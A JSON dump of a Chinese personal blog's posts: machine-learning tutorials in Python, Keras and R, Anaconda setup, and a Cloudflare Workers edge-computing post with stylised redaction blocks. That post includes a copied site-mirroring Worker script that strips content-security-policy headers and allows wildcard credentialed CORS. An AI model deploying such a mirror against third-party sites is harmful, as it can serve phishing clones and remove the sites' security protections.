(torch.cuda.is_available() and ngpu &gt; 0) else \"cpu\")print(device)print(torch.cuda.get_device_name(0))print(torch.rand(3,3).cuda()) 输出结果： Truecuda:0GeForce GTX 960Mtensor([[0.0208, 0.2799, 0.4918], [0.0020, 0.1067, 0.8207], [0.5531, 0.0994, 0.2108]], device='cuda:0')","categories":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/categories/Data-mining/"}],"tags":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/tags/Data-mining/"},{"name":"Machine Learning","slug":"Machine-Learning","permalink":"https://blog.mhuig.top/tags/Machine-Learning/"}]},{"title":"R 语言初步","slug":"data-mining/R语言初步","date":"2020-10-10T12:30:27.000Z","updated":"2020-10-10T12:30:27.000Z","comments":true,"path":"p/fe073ab3/","link":"","permalink":"https://blog.mhuig.top/p/fe073ab3/","excerpt":"尝试使用 R 语言进行数据处理","text":"尝试使用 R 语言进行数据处理 安装 R进入 https://www.r-project.org 下载安装包即可. 安装包，载入包的命令安装包install.packages(\"mlbench\") 载入包library(mlbench) 更新所有包update.packages(ask=FALSE, checkBuilt=TRUE) 导入数据集dataset &lt;- read.csv(\"C:\\\\R\\\\bin\\\\iris.csv\", header=FALSE) 概要分析显示头 10 行head(dataset,n=10) V1 V2 V3 V4 V51 5.1 3.5 1.4 0.2 Iris-setosa2 4.9 3.0 1.4 0.2 Iris-setosa3 4.7 3.2 1.3 0.2 Iris-setosa4 4.6 3.1 1.5 0.2 Iris-setosa5 5.0 3.6 1.4 0.2 Iris-setosa6 5.4 3.9 1.7 0.4 Iris-setosa7 4.6 3.4 1.4 0.3 Iris-setosa8 5.0 3.4 1.5 0.2 Iris-setosa9 4.4 2.9 1.4 0.2 Iris-setosa10 4.9 3.1 1.5 0.1 Iris-setosa 显示数据集的每类样本所占比例library(mlbench)data(PimaIndiansDiabetes)y &lt;- PimaIndiansDiabetes$diabetescbind(freq=table(y), percentage=prop.table(table(y))*100) freq percentageneg 500 65.10417pos 268 34.89583 每个属性的值的分布情况summary(dataset) V1 V2 V3 V4 Min. :4.300 Min. :2.000 Min. :1.000 Min. :0.100 1st Qu.:5.100 1st Qu.:2.800 1st Qu.:1.600 1st Qu.:0.300 Median :5.800 Median :3.000 Median :4.350 Median :1.300 Mean :5.843 Mean :3.054 Mean :3.759 Mean :1.199 3rd Qu.:6.400 3rd Qu.:3.300 3rd Qu.:5.100 3rd Qu.:1.800 Max. :7.900 Max. :4.400 Max. :6.900 Max. :2.500 V5 Length:150 Class :character Mode :character 可视化数据属性箱线盒# 加载数据集data(iris)# 为每个属性创建单独的框线图par(mfrow=c(1,4))for(i in 1:4) {boxplot(iris[,i], main=names(iris)[i])} 柱状图data(iris)par(mfrow=c(1,4))for(i in 1:4) {hist(iris[,i], main=names(iris)[i])} 曲线图library(lattice)data(iris)par(mfrow=c(1,4))for(i in 1:4) {plot(density(iris[,i]), main=names(iris)[i])} 条形图library(mlbench)data(BreastCancer)# 为每个分类属性创建条形图par(mfrow=c(2,4))for(i in 2:9) {counts &lt;- table(BreastCancer[,i])name &lt;- names(BreastCancer)[i]barplot(counts, main=name)} 相关图# 加载程序包library(corrplot)# 加载数据data(iris)# 计算相关性correlations &lt;- cor(iris[,1:4])# 创建相关图corrplot(correlations, method=\"circle\") 散点图# 加载数据data(iris)# 按类别着色的成对散点图pairs(Species~., data=iris, col=iris$Species) 密度图# 加载程序包library(caret)# 加载数据data(iris)# 按类值为每个属性绘制密度图x &lt;- iris[,1:4]y &lt;- iris[,5]scales &lt;- list(x=list(relation=\"free\"), y=list(relation=\"free\"))featurePlot(x=x, y=y, plot=\"density\", scales=scales)","categories":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/categories/Data-mining/"}],"tags":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/tags/Data-mining/"},{"name":"R","slug":"R","permalink":"https://blog.mhuig.top/tags/R/"}]},{"title":"手把手教你用 Python 开始第一个机器学习项目","slug":"data-mining/手把手教你用python开始第一个机器学习项目","date":"2020-10-10T11:43:22.000Z","updated":"2020-10-10T11:43:22.000Z","comments":true,"path":"p/110850a/","link":"","permalink":"https://blog.mhuig.top/p/110850a/","excerpt":"熟悉一个新的平台或者一个新的工具最好的方式就是从头到尾踏实的完成一个机器学习项目","text":"熟悉一个新的平台或者一个新的工具最好的方式就是从头到尾踏实的完成一个机器学习项目 这里以 PimaIndiansdiabetes.csv 数据集为例。 Download Data Set PimaIndiansdiabetes.csv 数据集介绍 1、该数据集最初来自国家糖尿病 / 消化 / 肾脏疾病研究所。数据集的目标是基于数据集中包含的某些诊断测量来诊断性的预测 患者是否患有糖尿病。 2、从较大的数据库中选择这些实例有几个约束条件。尤其是，这里的所有患者都是 Pima 印第安至少 21 岁的女性。 3、数据集由多个医学预测变量和一个目标变量组成 Outcome。预测变量包括患者的怀孕次数、BMI、胰岛素水平、年龄等。 4、数据集的内容是皮马人的医疗记录，以及过去 5 年内是否有糖尿病。所有的数据都是数字，问题是（是否有糖尿病是 1 或 0），是二分类问题。数据有 8 个属性，1 个类别： 【1】Pregnancies：怀孕次数 【2】Glucose：葡萄糖 【3】BloodPressure：血压 (mm Hg) 【4】SkinThickness：皮层厚度 (mm) 【5】Insulin：胰岛素 2 小时血清胰岛素（mu U /ml ） 【6】BMI：体重指数 （体重 / 身高）^2 ） 【7】DiabetesPedigreeFunction：糖尿病谱系功能 【8】Age：年龄 （岁） 【9】Outcome：类标变量 （0 或 1） 数据可视化了解数据集的结构现在是时候看一下我们的数据集了。当前步骤中我们从不同的角度观察数据。 加载数据集首先 import pandas 模块调用 read_csv 方法加载数据集。 from pandas import read_csv# 加载数据集filename = 'pima-indians-diabetes.csv'dataset = read_csv(filename, header=None) 显示数据实例个数、属性个数使用 pandas 中的 shape 方法查看数据集的维度特征，显示数据实例个数 (行)、属性个数（列）。 # 显示数据实例个数、属性个数dataset.shape#(768, 9) 看到有 768 个实例，9 个属性。 前 10 个样本情况使用 head 方法观察数据前 10 行。实际地仔细观察数据向来都是好办法。 # 前10个样本情况dataset.head(10) 0 1 2 3 4 5 6 7 8 0 6 148 72 35 0 33.6 0.627 50 1 1 1 85 66 29 0 26.6 0.351 31 0 2 8 183 64 0 0 23.3 0.672 32 1 3 1 89 66 23 94 28.1 0.167 21 0 4 0 137 40 35 168 43.1 2.288 33 1 5 5 116 74 0 0 25.6 0.201 30 0 6 3 78 50 32 88 31.0 0.248 26 1 7 10 115 0 0 0 35.3 0.134 29 0 8 2 197 70 45 543 30.5 0.158 53 1 9 8 125 96 0 0 0.0 0.232 54 1 显示每个属性的统计概要看一下每个属性的统计概要。 这里包括总数，均值，std，最小值，最大值以及一些百分比。 # 显示每个属性的统计概要（包括总数，均值，最小值，最大值以及一些百分比）dataset.describe() 0 1 2 3 4 5 6 7 8 count 768.000000 768.000000 768.000000 768.000000 768.000000 768.000000 768.000000 768.000000 768.000000 mean 3.845052 120.894531 69.105469 20.536458 79.799479 31.992578 0.471876 33.240885 0.348958 std 3.369578 31.972618 19.355807 15.952218 115.244002 7.884160 0.331329 11.760232 0.476951 min 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.078000 21.000000 0.000000 25% 1.000000 99.000000 62.000000 0.000000 0.000000 27.300000 0.243750 24.000000 0.000000 50% 3.000000 117.000000 72.000000 23.000000 30.500000 32.000000 0.372500 29.000000 0.000000 75% 6.000000 140.250000 80.000000 32.000000 127.250000 36.600000 0.626250 41.000000 1.000000 max 17.000000 199.000000 122.000000 99.000000 846.000000 67.100000 2.420000 81.000000 1.000000 箱线盒图导入 matplotlib，绘制每一个输入变量的箱线图。这能让我们更清晰的了解输入属性的分布情况。 from matplotlib import pyplot# 线盒图dataset.plot(kind='box')pyplot.show() 柱状图# 柱状图dataset.hist()pyplot.show() 看起来输入变量中有 3 个可能符合高斯分布。这个现象值得注意，我们可以使用基于这个假设的算法。 多变量散点图看一下变量之间的相互关系，所有属性两两一组互相对比的散点图。这种图有助于我们定位输入变量间的结构性关系。 # 多变量散点图from pandas.plotting import scatter_matrixscatter_matrix(dataset)pyplot.show() 注意下图中某些属性两两比对时延对角线出现的分组现象。这其实表明高度的相关性和可预测关系。 交叉验证交叉验证的基本思想是把在某种意义下将原始数据进行分组，一部分做为训练集，另一部分做为验证集，首先用训练集对分类器进行训练，再利用验证集来测试训练得到的模型，以此来做为评价分类器的性能指标。 用交叉验证的目的是为了得到可靠稳定的模型。 对数据进行 3、5、7 交叉验证，比较结果。 十折交叉验证# MLP for Pima Indians Dataset with 10-fold cross validation via sklearnfrom keras.models import Sequentialfrom keras.layers import Densefrom keras.wrappers.scikit_learn import KerasClassifierfrom sklearn.model_selection import StratifiedKFoldfrom sklearn.model_selection import cross_val_scoreimport numpy# Function to create model, required for KerasClassifierdef create_model(): # create model model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(8, activation='relu')) model.add(Dense(1, activation='sigmoid')) # Compile model model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return model# fix random seed for reproducibilityseed = 7numpy.random.seed(seed)# load pima indians datasetdataset = numpy.loadtxt(\"pima-indians-diabetes.csv\", delimiter=\",\")# split into input (X) and output (Y) variablesX = dataset[:, 0:8]Y = dataset[:, 8]# create modelmodel = KerasClassifier(build_fn=create_model, epochs=150, batch_size=10)# evaluate using 10-fold cross validationkfold = StratifiedKFold(n_splits=10, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 3 交叉验证# 3 交叉验证kfold = StratifiedKFold(n_splits=3, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 5 交叉验证kfold = StratifiedKFold(n_splits=5, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 7 交叉验证# 7 交叉验证kfold = StratifiedKFold(n_splits=7, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 结果 交叉验证 Result 3 0.75 5 0.7252864837646484 7 0.7383295553071159 10 0.7382946014404297 改变神经网络结构加深，加宽，看看什么结构对模型性能有较大影响。 加深# 改变神经网络结构，（加深，加宽），看看什么结构对模型性能有较大影响。# 加深def create_model_1(): # create model model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(12, input_dim=12,activation='relu')) model.add(Dense(12, input_dim=12,activation='relu')) model.add(Dense(12,input_dim=12, activation='relu')) model.add(Dense(12,input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12,activation='relu')) model.add(Dense(8, input_dim=8,activation='relu')) model.add(Dense(8, input_dim=8,activation='relu')) model.add(Dense(8, input_dim=8,activation='relu')) model.add(Dense(8, input_dim=8,activation='relu')) model.add(Dense(1, activation='sigmoid')) # Compile model model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return modelmodel = KerasClassifier(build_fn=create_model_1, epochs=150, batch_size=10)kfold = StratifiedKFold(n_splits=3, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 加宽# 改变神经网络结构，（加深，加宽），看看什么结构对模型性能有较大影响。# 加宽def create_model_2(): # create model model = Sequential() model.add(Dense(24, input_dim=8, activation='relu')) model.add(Dense(16, activation='relu')) model.add(Dense(1, activation='sigmoid')) # Compile model model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return modelmodel = KerasClassifier(build_fn=create_model_2, epochs=150, batch_size=10)kfold = StratifiedKFold(n_splits=3, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 加深加宽# 改变神经网络结构，（加深，加宽），看看什么结构对模型性能有较大影响。# 加宽 加深def create_model_2(): # create model model = Sequential() model.add(Dense(24, input_dim=8, activation='relu')) model.add(Dense(24, input_dim=24, activation='relu')) model.add(Dense(24, input_dim=24, activation='relu')) model.add(Dense(24, input_dim=24, activation='relu')) model.add(Dense(24, input_dim=24, activation='relu')) model.add(Dense(12, input_dim=24, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(1, activation='sigmoid')) # Compile model model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return modelmodel = KerasClassifier(build_fn=create_model_2, epochs=150, batch_size=10)kfold = StratifiedKFold(n_splits=3, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 结果 操作 Resault 加深 0.7096354166666666 加宽 0.7057291666666666 加深加宽 0.7174479166666666 更深的模型，意味着更好的非线性表达能力，可以学习更加复杂的变换，从而可以拟合更加复杂的特征输入。 网络更深，每一层要做的事情也更加简单了。 上面就是网络加深带来的两个主要好处，更强大的表达能力和逐层的特征学习。 而宽度就起到了另外一个作用，那就是让每一层学习到更加丰富的特征，比如不同方向，不同频率的纹理特征。 可视化训练过程# 可视化训练过程（损失函数关系图，精确度关系图）import matplotlib.pyplot as plt# Fit the modelmodel = KerasClassifier(build_fn=create_model, epochs=150, batch_size=10)history = model.fit(X, Y, validation_split=0.33, epochs=150, batch_size=10, verbose=0)# list all data in historyprint(history.history.keys())# summarize history for accuracyplt.plot(history.history['accuracy'])plt.plot(history.history['val_accuracy'])plt.title('model accuracy')plt.ylabel('accuracy')plt.xlabel('epoch')plt.legend(['train', 'test'], loc='upper left')plt.show()# summarize history for lossplt.plot(history.history['loss'])plt.plot(history.history['val_loss'])plt.title('model loss')plt.ylabel('loss')plt.xlabel('epoch')plt.legend(['train', 'test'], loc='upper left')plt.show() 源码","categories":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/categories/Data-mining/"}],"tags":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/tags/Data-mining/"},{"name":"Machine Learning","slug":"Machine-Learning","permalink":"https://blog.mhuig.top/tags/Machine-Learning/"}]},{"title":"How to Setup Your Python Environment for Machine Learning With Anaconda","slug":"data-mining/How to Setup Your Python Environment for Machine Learning with Anaconda","date":"2020-09-11T14:30:22.000Z","updated":"2020-09-11T14:30:22.000Z","comments":true,"path":"p/2f550c8c/","link":"","permalink":"https://blog.mhuig.top/p/2f550c8c/","excerpt":"In this tutorial, we will cover the following steps: 1.Download Anaconda 2.Install Anaconda 3.Start and Update Anaconda 4.Update scikit-learn Library 5.Install Deep Learning Libraries","text":"In this tutorial, we will cover the following steps: 1.Download Anaconda 2.Install Anaconda 3.Start and Update Anaconda 4.Update scikit-learn Library 5.Install Deep Learning Libraries Download AnacondaIn this step, we will download the Anaconda Python package for your platform. Install AnacondaIn this step, we will install the Anaconda Python software on your system.This step assumes you have sufficient administrative privileges to install software on your system. Start and Update AnacondaIn this step, we will confirm that your Anaconda Python environment is up to date. Anaconda comes with a suite of graphical tools called Anaconda Navigator. You can start Anaconda Navigator by opening it from your application launcher. Conda is fast, simple, it’s hard for error messages to hide, and you can quickly confirm your environment is installed and working correctly. 1.Open a terminal (command line window). 2.Confirm conda is installed correctly, by typing: conda -Vconda 4.8.2 3.Confirm Python is installed correctly by typing: python -VPython 3.7.6 4.Confirm your conda environment is up-to-date, type: conda update condaconda update anaconda You may need to install some packages and confirm the updates. 5.Confirm your SciPy environment. The script below will print the version number of the key SciPy libraries you require for machine learning development, specifically: SciPy, NumPy, Matplotlib, Pandas, Statsmodels, and Scikit-learn.You can type “python” and type the commands in directly. Alternatively, I recommend opening a text editor and copy-pasting the script into your editor. Update scikit-learn LibraryIn this step, we will update the main library used for machine learning in Python called scikit-learn. Update scikit-learn to the latest version.At the time of writing, the version of scikit-learn shipped with Anaconda is out of date (0.17.1 instead of 0.18.1). You can update a specific library using the conda command; below is an example of updating scikit-learn to the latest version.At the terminal, type: conda update scikit-learn Alternatively, you can update a library to a specific version by typing: conda install -c anaconda scikit-learn Install Deep Learning Librariesconda install theanoconda install -c conda-forge tensorflowconda install kerasconda install graphviz SummaryVersion First MLPDownload Data Set","categories":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/categories/Data-mining/"}],"tags":[{"name":"Data mining","slug":"Data-mining","permalink":"https://blog.mhuig.top/tags/Data-mining/"},{"name":"Machine Learning","slug":"Machine-Learning","permalink":"https://blog.mhuig.top/tags/Machine-Learning/"}]},{"title":"初探 Cloudflare Workers 边缘计算","slug":"web/初探CloudflareWorkers边缘计算","date":"2020-08-31T11:53:40.000Z","updated":"2020-08-31T11:53:40.000Z","comments":true,"path":"p/4a0f523a/","link":"","permalink":"https://blog.mhuig.top/p/4a0f523a/","excerpt":"","text":"Edge Computing 尝试在边缘运行 JavaScript 什么是边缘计算边缘运算（Edge computing），又译为边缘计算，是一种分散式运算的架构，将应用程序、数据资料与服务的运算，由网络中心节点，移往网络逻辑上的边缘节点来处理。边缘计算将原本完全由中心节点处理大型服务加以分解，切割成更小与更容易管理的部分，分散到边缘节点去处理。边缘节点更接近于用户终端装置，可以加快资料的处理与传送速度，减少延迟。在这种架构下，资料的分析与知识的产生，更接近于数据资料的来源，因此更适合处理大数据。 OpenStack（是一个由 NASA 和 Rackspace 合作研发并发起的，以 Apache 许可证授权的自由软件和开放源代码项目）社区的定义概念： “边缘计算是为应用开发者和服务提供商在网络的边缘侧提供云服务和 IT 环境服务；目标是在靠近数据输入或用户的地方提供计算、存储和网络带宽”。 章鱼理论秒懂边缘计算章鱼理论：用 “ 脚 “ 解决问题的边缘计算！ 作为无脊椎动物中智商最高的一种动物，章鱼拥有巨量的神经元，但 60% 分布在章鱼的八条腿（腕足）上，脑部仅有 40%。 也就是说： 警告：本文从以下开始跑题。 == 需要 M03-GLORIA 程序特殊访问权限 == 正在读取资料。请稍等…….[拒绝访问][该数据已被删除]正在读取备份。请稍等…….本博客边缘计算的搭建方案本博客目前采用 Vercel、Cloudflare、GithubPages 多线部署，未来可能会考虑添加██████等其他线路。笔者在此解释 Cloudflare 线路的边缘计算部署方案。正如你所见，静态页面托管存储在 Github 仓库██████中，并开启 GitHub Pages 服务，使用 Cloudflare Workers 实现边缘计算处理逻辑，LeanCloud 数据库存储网站动态数据。笔者在这里只谈部署思路，由于███████████████████████████████████，相信应该不会有人愿意开源公开自己的后端程序，安全策略以及██████████████████████等等。实现网站镜像目前 Cloudflare 线路即为 GithubPages 的镜像站，我不说相信你也可以看出来，当然我也可以随时切换为 Vercel 或者██████或者██████的镜像站。在网络边缘拦截用户请求，并修改请求中的 request.url.hostname, 将对用户请求的域解析替换为原始真实 URL，实现隐藏真实网络基础设施的目的。具体实现可以查阅相关文档/** * An object with different URLs to fetch * @param {Object} ORIGINS */const ORIGINS = { \"starwarsapi.yourdomain.com\": \"swapi.co\", \"google.yourdomain.com\": \"google.com\",}async function handleRequest(request) { const url = new URL(request.url) // Check if incoming hostname is a key in the ORIGINS object if (url.hostname in ORIGINS) { const target = ORIGINS[url.hostname] url.hostname = target // If it is, proxy request to that third party origin return fetch(url.toString(), request) } // Otherwise, process request as normal return fetch(request)}addEventListener(\"fetch\", event =&gt; { event.respondWith(handleRequest(event.request))})隐藏前端 API 密钥由于调用数据库 API 需要使用 AppID 和 AppKey：而直接将他们写在前端页面存在安全风险，因此笔者将数据库 API 密钥直接写在了 Cloudflare Worker 中。以本站的评论系统为例，在前端页面插入伪造的 API 密钥以作混淆，下图一看就知道是伪造的密钥。在网络边缘拦截用户请求，判断请求合法性，动态更改请求标头替换为真实的 API 密钥，并向后端数据库转发请求，实现数据交互时隐藏 API 密钥。具体实现可以查阅相关文档自定义防火墙规则从 CF-IPCountry HTTP 标头检索 IP 地理位置信息，以判断访问者合法性██████████████████，对于非法访问者████████████████████████████。笔者配合使用████████████数据库实现动态████████████████████████。How does Cloudflare handle HTTP Request headers?Configuring Cloudflare IP Geolocation记录请求日志由于目前 Cloudflare Workers 没有███████████的功能██████████████████，因此笔者使用 Leancloud 数据库的 REST API 发送 HTTP 请求来与 数据库 进行交互。Cloudflare Workers 默认在事件的 response 发送完成后结束边缘的相关进程，这里笔者使用 event.waitUntil(promise Promise), 延长事件的生存期，而不会阻止事件的 response 发送。使用此方法可以通知运行时以等待需要比正常的发送响应时间更长的时间运行的任务（例如，日志记录，对第三方服务的分析，流和缓存）。将所有请求记录到数据库中，以便需要时调查取证或者█████████。HTTP2 server push多路复用，是 HTTP/2 众多协议优化中最令人振奋的特性，它大大降低了网络延迟对性能的影响，而对于资源之间的依赖关系导致的 “延迟”，Server Push 则提供了手动优化方案。通常，只有在浏览器请求某个资源的时候，服务器才会向浏览器发送该资源。Server Push 则允许服务器在收到浏览器的请求之前，主动向浏览器推送资源。比如说，网站首页引用了一个 CSS 文件。浏览器在请求首页时，服务器除了返回首页的 HTML 之外，可以将其引用的 CSS 文件也一并推给客户端。本站在返回的请求中添加 HTTP 标头实现 HTTP2 server push。if(request.headers.get(\"content-type\")==\"text/html; charset=utf-8\"){ response.headers.set(\"Link\", \"&lt;/css/style.css&gt;; rel=preload; as=style,&lt;/js/app.js&gt;; rel=preload; as=script, &lt;https://cdn.jsdelivr.net&gt;; rel=preconnect; crossorigin, &lt;https://cdn.jsdelivr.net&gt;; rel=dns-prefetch\")}具体实现可以查阅相关文档CORS header proxy由于██████████████████需要前端实现跨域，可以直接添加 HTTP 标头实现。const corsHeaders = { \"Access-Control-Allow-Origin\": \"*\", \"Access-Control-Allow-Methods\": \"GET, HEAD, POST, OPTIONS\", \"Access-Control-Allow-Headers\": \"Content-Type\",}具体实现可以查阅相关文档其他应用更多 Examples[文件已删除]搭建其他镜像站上面介绍镜像自己的博客，如法炮制，你也可以镜像其他网站，例如 Github、█████████、█████████、█████████等，请勿用于非法用途，否则后果自负。下面是一个随便在百度中搜索到的脚本，几乎随便一搜都可以找到它，大家不会都用一个吧。// 你想镜像的站点const upstream = 'zh.wikipedia.org' // 针对移动端适配站点，没有就和保持和上面一致const upstream_mobile = 'zh.wikipedia.org' // 禁止某些地区访问const blocked_region = [] // 禁止自访问const blocked_ip_address = ['0.0.0.0', '127.0.0.1'] // 你想镜像的站点const replace_dict = { '$upstream': '$custom_domain', '//zh.wikipedia.org': ''} // 剩下的就不用管了addEventListener('fetch', event =&gt; { event.respondWith(fetchAndApply(event.request));}) async function fetchAndApply(request) { const region = request.headers.get('cf-ipcountry').toUpperCase(); const ip_address = request.headers.get('cf-connecting-ip'); const user_agent = request.headers.get('user-agent'); let response = null; let url = new URL(request.url); let url_host = url.host; if (url.protocol == 'http:') { url.protocol = 'https:' response = Response.redirect(url.href); return response; } if (await device_status(user_agent)) { upstream_domain = upstream } else { upstream_domain = upstream_mobile } url.host = upstream_domain; if (blocked_region.includes(region)) { response = new Response('Access denied: WorkersProxy is not available in your region yet.', { status: 403 }); } else if(blocked_ip_address.includes(ip_address)){ response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', { status: 403 }); } else{ let method = request.method; let request_headers = request.headers; let new_request_headers = new Headers(request_headers); new_request_headers.set('Host', upstream_domain); new_request_headers.set('Referer', url.href); let original_response = await fetch(url.href, { method: method, headers: new_request_headers }) let original_response_clone = original_response.clone(); let original_text = null; let response_headers = original_response.headers; let new_response_headers = new Headers(response_headers); let status = original_response.status; new_response_headers.set('access-control-allow-origin', '*'); new_response_headers.set('access-control-allow-credentials', true); new_response_headers.delete('content-security-policy'); new_response_headers.delete('content-security-policy-report-only'); new_response_headers.delete('clear-site-data'); const content_type = new_response_headers.get('content-type'); if (content_type.includes('text/html') &amp;&amp; content_type.includes('UTF-8')) { original_text = await replace_response_text(original_response_clone, upstream_domain, url_host); } else { original_text = original_response_clone.body } response = new Response(original_text, { status, headers: new_response_headers }) } return response;} async function replace_response_text(response, upstream_domain, host_name) { let text = await response.text() var i, j; for (i in replace_dict) { j = replace_dict[i] if (i == '$upstream') { i = upstream_domain } else if (i == '$custom_domain') { i = host_name } if (j == '$upstream') { j = upstream_domain } else if (j == '$custom_domain') { j = host_name } let re = new RegExp(i, 'g') text = text.replace(re, j); } return text;} async function device_status (user_agent_info) { var agents = [\"Android\", \"iPhone\", \"SymbianOS\", \"Windows Phone\", \"iPad\", \"iPod\"]; var flag = true; for (var v = 0; v &lt; agents.length; v++) { if (user_agent_info.indexOf(agents[v]) &gt; 0) { flag = false; break; } } return flag;}Cloudflare workers blogcloudflare-worker-blog一个在 Github 上的开源实例，████████████████████████████████████████████████████████████████████████████████████Cloudflare workers + Github 实现的动态博客系统█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████。。jsproxyjsproxy 一个基于浏览器端 JS 实现的在线代理，█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████。项目主要用于以下技术的研究：网站镜像 / 沙盒化钓鱼网站检测技术前端资源访问加速█████████████████████████████，否则█████████████。加速 Google Analyticscloudflare-workers-async-google-analyticsThe Cloudflare Workers implementation of an async Google Analytics.██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████。以上代码，请勿将其用于非法用途，否则后果自负。 严禁未经授权的人员进行访问肇事者将被监控，定位并处理","categories":[{"name":"边缘计算","slug":"边缘计算","permalink":"https://blog.mhuig.top/categories/%E8%BE%B9%E7%BC%98%E8%AE%A1%E7%AE%97/"}],"tags":[{"name":"边缘计算","slug":"边缘计算","permalink":"https://blog.mhuig.top/tags/%E8%BE%B9%E7%BC%98%E8%AE%A1%E7%AE%97/"}]},{"title":"","slug":"notes/Spark","date":"2020-05-06T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-spark/","link":"","permalink":"https://blog.mhuig.top/p/notes-spark/","excerpt":"","text":".fa-secondary{opacity:.4} Spark Spark 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Spark","slug":"大数据/Spark","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Spark/"}],"tags":[{"name":"Spark","slug":"Spark","permalink":"https://blog.mhuig.top/tags/Spark/"}]},{"title":"","slug":"notes/Ubuntu","date":"2020-05-05T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-ubuntu/","link":"","permalink":"https://blog.mhuig.top/p/notes-ubuntu/","excerpt":"","text":"Ubuntu Ubuntu 开始阅读","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Ubuntu","slug":"操作系统/Ubuntu","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Ubuntu/"}],"tags":[{"name":"Ubuntu","slug":"Ubuntu","permalink":"https://blog.mhuig.top/tags/Ubuntu/"}]},{"title":"Travellings 开往下一个地方","slug":"pen/Travellings开往下一个地方","date":"2020-05-04T11:47:43.000Z","updated":"2020-05-04T11:47:43.000Z","comments":true,"path":"p/4bd2472f/","link":"","permalink":"https://blog.mhuig.top/p/4bd2472f/","excerpt":"互联网将人与人之间的距离大大减小，却还是形成了大大小小的孤岛。只有熟人间才知道彼此，而陌生人永远只能是陌生人。","text":"互联网将人与人之间的距离大大减小，却还是形成了大大小小的孤岛。只有熟人间才知道彼此，而陌生人永远只能是陌生人。 什么是开往 - 友链接力开往 - 友链助力是传统友链的增强，我们不必互相知道了解彼此，标准的审查让友好的朋友加入我们，只需要一个徽标，占用一块位置，我们所有人都联系在了一起，简单而又强大。 开往 - 友链接力 旅行愉快日常大家可以点击 banner 或者 footer 栏中的 “Travellings” 图标去参观其他博主的博客，祝大家旅行愉快。 站台这里是下一站的站台，来场星际旅行吧～。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"}]},{"title":"哈勃望远镜在你生日那天看到了啥","slug":"pen/哈勃望远镜在你生日那天看到了啥","date":"2020-05-04T08:50:43.000Z","updated":"2020-05-04T08:50:43.000Z","comments":true,"path":"p/6af346a8/","link":"","permalink":"https://blog.mhuig.top/p/6af346a8/","excerpt":"","text":"About1990 年，NASA 将哈勃望远镜送进太空。多年来哈勃望远镜一直在探索宇宙，拍摄了许多珍贵的图像。 2020 年是哈勃望远镜服役的第 30 年，为此 NASA 公开了哈勃望远镜拍摄的 366 张珍贵图像。 哈勃望远镜每周 7 天，每天 24 小时不间断地探索宇宙。 这意味着它在一年中的每一天都观察到了一些迷人的宇宙奇观。 What did Hubble look at on your birthday? 可以在 NASA 网站 中输入月份和日期来查找。 What Did Hubble See on Your Birthday?大图警告 